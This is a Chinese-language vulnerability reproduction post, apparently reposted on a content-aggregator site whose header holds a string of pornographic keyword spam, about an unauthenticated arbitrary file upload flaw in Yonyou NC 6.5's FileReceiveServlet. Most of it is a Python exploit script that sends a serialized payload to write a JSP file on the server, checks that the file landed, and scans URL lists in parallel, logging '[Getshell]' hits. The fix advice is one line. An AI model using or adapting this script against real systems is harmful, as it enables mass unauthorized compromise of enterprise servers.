日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

用友NC任意文件上传漏洞复现

發布時間:2023/12/15 综合教程 33 生活家
生活随笔 收集整理的這篇文章主要介紹了 用友NC任意文件上传漏洞复现 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x00 事件描述

用友NC是一款企業級管理軟件,在大中型企業廣泛使用。實現建模、開發、繼承、運行、管理一體化的IT解決方案信息化平臺。用友NC 為C/S 架構,使用JAVA編程語言開發,客戶端可直接使用UClient,服務端接口為HTTP。

用友NC6.5的某個頁面,存在任意文件上傳漏洞。漏洞成因在于上傳文件處未作類型限制,未經身份驗證的攻擊者可通過向目標系統發送特制數據包來利用此漏洞,成功利用此漏洞的遠程攻擊者可在目標系統上傳任意文件執行命令。

0x01 漏洞原理

根據文檔,FileReceiveServlet所對應的類為com.yonyou.ante.servlet.FileReceiveServlet。

jar包所在目錄:/yonyouhomemodulesuapsslib。

由于68行代碼通過File outFile = new File(path, fileName)創建了一個文件,導致攻擊者可通過此進行任意文件上傳。

0x02 影響版本

用友NC遠程代碼執行漏洞影響版本:NC6.5之后版本。

0x03 影響范圍

互聯網側使用用友NC的IP,中國大陸使用數量最多,共有 9174 個;北京使用數量最多,共有 1,239 個;廣東第二,共有 587 個;貴州第三,共有 575 個,上海第四,共有 541 個;江蘇第五,共有 433 個。

0x04 漏洞驗證POC腳本

import requests
import threadpool
import urllib3
import sys
import argparse

urllib3.disable_warnings()
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
header = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": "https://google.com",
}

def multithreading(funcname, filename="url.txt", pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("
")]
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(funcname, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()

def wirte_targets(vurl, filename):
    with open(filename, "a+") as f:
        f.write(vurl + "
")
        return vurl
    
def exp(u):
    uploadHeader = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
        "Content-Type": "multipart/form-data;",
        "Referer": "https://google.com"
    }
    uploadData = "xacxedx00x05x73x72x00x11x6ax61x76x61x2ex75x74x69x6cx2ex48x61x73x68x4dx61x70x05x07xdaxc1xc3x16x60xd1x03x00x02x46x00x0ax6cx6fx61x64x46x61x63x74x6fx72x49x00x09x74x68x72x65x73x68x6fx6cx64x78x70x3fx40x00x00x00x00x00x0cx77x08x00x00x00x10x00x00x00x02x74x00x09x46x49x4cx45x5fx4ex41x4dx45x74x00x09x74x30x30x6cx73x2ex6ax73x70x74x00x10x54x41x52x47x45x54x5fx46x49x4cx45x5fx50x41x54x48x74x00x10x2ex2fx77x65x62x61x70x70x73x2fx6ex63x5fx77x65x62x78"
    shellFlag="t0test0ls"
    uploadData+=shellFlag
    try:
        req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)
        if req1.status_code == 200 :
            req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)

            if  req3.text.index(shellFlag)>=0:
                printFlag = "[Getshell]" + u+"/t00ls.jsp"  + "
"
                print (printFlag)
                wirte_targets(printFlag, "vuln.txt")
    except :
        pass
    #print(printFlag, end="")


if __name__ == "__main__":
    if (len(sys.argv)) < 2:
        print('useage : python' +str(sys.argv[0]) + ' -h')
    else:
        parser =argparse.ArgumentParser()
        parser.description ='YONYOU UC 6.5 FILE UPLOAD!'
        parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')
        parser.add_argument('-r',help="url list to file",type=str,dest='check_file')
        args =parser.parse_args()
        if args.check_url:
            exp(args.check_url)
        
        if(args.check_file):
            multithreading(exp, args.check_file, 8) 

0x05 修復建議

請聯系廠商獲取補丁更新:https://www.yonyou.com/

0x06 參考鏈接

轉載請注明:Adminxe's Blog?用友NC任意文件上傳漏洞復現

總結

以上是生活随笔為你收集整理的用友NC任意文件上传漏洞复现的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。